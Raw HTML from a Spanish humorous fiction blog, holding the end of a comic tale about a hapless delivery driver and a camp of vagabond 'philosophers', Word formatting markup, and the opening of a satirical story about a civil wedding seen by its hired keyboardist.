Todo arreglado, le solté por la ventanilla, antes de bajar. Al hacerlo y abrir la carga de nuevo, me di cuenta de que no podía estar mas equivocado. </h2>
<h2>
La Hormigonera estaba, eso sin duda, pero en el interior del tambor se hallaba el cuerpo desnudo y sin vida (a causa de los golpetazos que se habría dado en el traqueteo de vuelta, pensaba yo) del filósofo temporero centrífugo. Al ver esto, el ferretero de Navalcordero cerró su puño derecho y zaska. Inconsciente que me quedó. Desperté en comisaría. </h2>
<h2>
Lo primero que hice fue preguntar la hora. Ya eran las 14:30 pasadas y no había repartido aún nada. Bueno sí, una hormigonera con un muerto dentro, anda que...</h2>
<h2>
El asunto se aclaró rápido. Para empezar, el centrífugo no estaba muerto, simplemente había perdido el conocimiento. Al volver en sí, por lo visto, se fue corriendo sin decir palabra. El caso, por extraño y casi ridículo, se archivó y a mi me dejaron libre. De nuevo al volante. Próximo objetivo laboral : entregar 15 cajas de alcayatas , 10 de puntas, 5 martillos, dos palas y dos picos en la ferretería de Casalatranca. </h2>
<h2>
Al intentar activar el GP ese , entro por segunda vez en el "Tramo de concentración de despistes" y como es lógico ,o al menos previsible, me vuelvo a perder.</h2>
<h2>
Aparezco, maldita sea mi estampa, en el campamento de temporeros otra vez. </h2>
<h2>
(Lamento escribir esto, estaréis hartos de los temporeros y de tanta concentración de despistes pero es que sucedió así, además, el título del relato de éste suceso lo dice todo: no tiene el mas mínimo interés. De hecho he titulado la historia así para que no esperéis mucho de ella, sólo la verdad y nada mas que la verdad. El caso es que, una vez empezada y con vuestro permiso, la voy a acabar).</h2>
<h2>
Zarrapástroso estaba sentado en una piedra leyendo un periódico amarillento que debía ser del año pasado. Levantó la vista y dijo "Que no escape!". </h2>
<h2>
Los demás me rodearon, me sacaron de la furgoneta a la fuerza, pero sin agresividad, y me ataron de pies y manos a un antiguo poste de la luz que tenían ellos clavado al suelo en el centro del campamento, estilo indio, como los indios, vamos. </h2>
<h2>
Pregunté la hora: eran ya las 16 y pico. </h2>
<h2>
Los filósofos, sin cortarse un pelo, vaciaron mi vehículo comercial, una vez vacío, se les antojó desguazarlo pieza por pieza. </h2>
<h2>
Empecé a pensar en otros posibles trabajos de cara al futuro.</h2>
<h2>
Zarrapástroso, viendo que una lágrima mía cayó en la arena, se acercó a mí. Pero antes de seguir con "la acción" (no se porqué la entrecomillo porque es realmente trepidante) os voy a describir a éste grupo humano al que desde el principio he llamado Filósofos temporeros. Ya que os estoy dando la lata con ellos, por lo menos que sepáis cómo eran en realidad, que después cada uno se piensa lo que quiere y de eso nada, oye, ellos son como son, todo lo demás es imaginar por imaginar.</h2>
<h2>
A ver, se trataba de un grupo de unos 18 o 20 hombres adultos, no viejos pero sí envejecidos, polvorientos, vestidos con trozos de camisas y trozos de pantalón, calvos, con barba, ojerosos, alegres por momentos pero con caras de pena, reflexivos pero borregos, obedeciendo y siguiendo siempre al líder, Zarrapástroso, que en nada se diferenciaba de los demás, salvo en la estatura,pues era el más alto.</h2>
<h2>
Todos éstos individuos tenían en común el ser hombres separados de larga duración. Separados, víctimas de robo a mano armada por sus exparejas y condenados por la justicia a renunciar a sus hijos, a sus casas, a sus sueldos y a sus ganas de vivir. Ésta experiencia, vivida por todos, les unió y , como no tenían nada que perder, decidieron varios años atrás abandonar la ciudad en grupo llevándose lo poco que tenían (unas tiendas de campaña, sacos de dormir, 4 hornillos, 3 cacerolas y una caja de cerillas) para irse a sobrevivir al campo, a tomar por culo. Una vez allí, se les empezó a ir un poco la cabeza, comían poco, bebían mas de la cuenta, pasaban muchas horas bajo el sol...y nació entre ellos un Gurú, Zacarías, al que llamaron Zarrapástroso a partir del día en el que se cayó en un charco apestoso persiguiendo a un cerdo en pleno ataque de hambre. Desde entonces, no se volvió a lavar. El método de subsistencia de éste grupo humano, la base de su economía por así llamarlo, era el rebusco y la rapiña. Si la madre natura les ponía al alcance de la mano unos tomates, comían tomates, pero si se les acercaba -pongamos por caso- un turista o un despistado como yo, lo desvalijaban in situ e ipso facto. (IN SITU e IPSO FACTO, buen nombre para una pareja de humoristas Romanos del siglo I, ¿Verdad?. Igual existieron y todo). En fin, a lo que iba. </h2>
<h2>
Al ver que una lágrima mía cayó en la arena, Zarrapástroso se acercó a mí y me dijo "¿Sería molestia por tu parte servirnos de comida?". Me imaginé enseguida como un pollo de la feria, dando vueltas sobre el fuego ensartado en una barra metálica. Mi respuesta fue muy Harry, un cabezazo seco y contundente en su frente con el que hice desplomarse al gurú sobre el suelo. El resto, atareados en el desguace de la furgoneta, no se dieron cuenta. Aproveché para desanudarme las manos y los pies (me habían hecho un simple nudo de zapato) y una vez liberado me largué de allí con viento fresco. Ya en la carretera hice dedo. Tuve suerte, al rato me cogió una mujer. Ésta mujer resultó ser la ex-esposa de Zacarías (el Zarrapástroso), que andaba buscando el campamento para hallar a su marido y entregarle la invitación de la comunión del hijo menor de ambos. Ella pensó al verme en la carretera que yo era uno de esos "perdidos", por eso me cogió que si no...</h2>
<h2>
Para no acabar de nuevo en el campamento y que me llevase a casa, le dije que los había visto el día anterior camino de la ciudad a la que me convenía volver de una puñetera vez.</h2>
<h2>
Y llegué a las 19 horas clavadas. A esa hora llamé a mi jefe, le conté la situación y me dejó sordo el oído derecho. Después colgué y me tiré en la cama deseando soñar con algo NORMAL antes de volver a enfrentarme ,al día siguiente, con la dura realidad.</h2>
<h2>
(Soñé con una gran Hormigonera Azul y desperté con cierto sabor a cemento en los labios).</h2>
<br />
<h2>
Chimpún. </h2>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Francis Lucas en su Tinta.http://www.blogger.com/profile/03472971914926216999noreply@blogger.com0tag:blogger.com,1999:blog-1750878783975345277.post-41159582033210028372015-06-29T02:34:00.001-07:002015-06-29T02:34:34.357-07:00ENLACE CLÁSICO, DESENLACE SORPRESA.<h2>
<br /></h2>
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:DontVertAlignCellWithSp/>
<w:DontBreakConstrainedForcedTables/>
<w:DontVertAlignInTxbx/>
<w:Word11KerningPairs/>
<w:CachedColBalance/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><br />
<!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-fareast-font-family:"Times New Roman";
mso-fareast-theme-font:minor-fareast;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;}
</style>
<![endif]-->
<br />
<div class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Hasta la intervención del primo de la novia,
todo iba bien, es decir, normal, sin sorpresas ni sobresaltos. Se trataba de
una ceremonia común y corriente, de esas que, como todas, pretende ser
especial. </span></div>
<br />
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Todo ocurría en el amplio jardín de un complejo
dedicado al negocio de las Celebraciones. En el jardín había un pequeño
estanque con cuatro o cinco patos y un par de ocas, todos ellos blancos, apacibles
y en armonía con la decoración. Altar blanco, sillas blancas…</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Doscientos invitados. Los hombres en blanco y
negro, las mujeres en tecnicolor. Siete de la tarde bajo el Sol de finales de
Junio al suroeste de la península ibérica. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Calor, abanicos, saludos, corrillos, alguna
risa, murmullos, un tacón que se hunde en la hierba… ambiente amable de espera.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Llega el novio, del brazo de la madrina. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">La novia y el padrino, por supuesto, llegarían
puntualmente tarde, como es costumbre, para crear expectación, sorprender<span style="mso-spacerun: yes;"> </span>con su entrada y deslumbrar con su traje.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">El novio se coloca por trigésima quinta vez la
corbata, la camisa y el chaleco. Intenta disimular<span style="mso-spacerun: yes;"> </span>la cara de pánfilo que se le pone al ser
observado por tanta gente, pero no logra conseguirlo. Su nombre es Ramón.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Casi media hora después - reinando aún el amable
clima de espera aunque ya sin risas ni murmullos y al calor del mismo Sol
castigador - <span style="mso-spacerun: yes;"> </span>aparece ella, la novia, la protagonista
principal, la que convenció a Ramón para que le pidiese matrimonio
inesperadamente tras 12 años de relación estable, tal vez por reavivar un fuego
que ya no quema tanto. Su nombre, Elvira.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"><span style="mso-spacerun: yes;"> </span>El técnico
de sonido pone el tema musical elegido para su aparición “I finally found
someone” de Bryan Adams y Bárbara Streisend, mientras la mayoría de la
concurrencia piensa con alivio mudo pero que se palpa “Ya era hora, hija”.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Cuando avanza por el pasillo central, con
cuidado no vaya a pisarse el vestido, la música pastelera intenta provocar un
“Ooooh” entre los invitados, pero ese “ohhh” es interior y más bien de
decepción (no va tan guapa como se esperaba). </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Comienza la ceremonia, el acto, la farsa, el
rito, el paripé, como lo quieran llamar. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Oficia la boda un amigo de la familia de la
novia que, aunque trabaja dando talleres de animación a la lectura en
bibliotecas infantiles, casi acaba la carrera de <span style="mso-spacerun: yes;"> </span>periodismo, escribe muy bien y se expresa
igual o mejor, según me contaron más tarde los que le quieren bien. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"> </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Da la bienvenida a todo el mundo, se dirige a
los novios con una sonrisa tierna, expresa el orgullo y la alegría que suponen
para él casar a la pareja que tiene en frente y recita, a modo de alegórico
consejo, un poema de Benedetti . Después da paso a la primera lectura. </span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Mi compañero el violinista y yo, a los teclados,
empezamos a ganarnos el dinero que nos pagarían después tocando un tema meloso
mientras una tía de la novia exagera sobre las bondades de su sobrina<span style="mso-spacerun: yes;"> </span>y los valores de su futuro esposo.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Retoma la palabra el oficiante, lee los
artículos 66,67 y 68 del código civil y le pasa el micrófono al hermano del
novio.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;">Tocamos otro tema, igualmente empalagoso.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
<span style="font-family: "Britannic Bold","sans-serif"; font-size: 12.0pt; line-height: 115%;"><span style="mso-spacerun: yes;"> </span>El
hermano recuerda en su lectura las anécdotas compartidas en la infancia y en la
adolescencia con Ramón, y se emociona cuando empieza a hablar de sus abuelos,
de lo que les hubiese gustado estar allí presentes. Se oyen suspiros. El violín
y el piano hacen el resto, entre la concurrencia femenina se corren varias
rayas de los ojos.</span></h2>
<h2>
</h2>
<h2>
</h2>
<h2 class="MsoNormal">
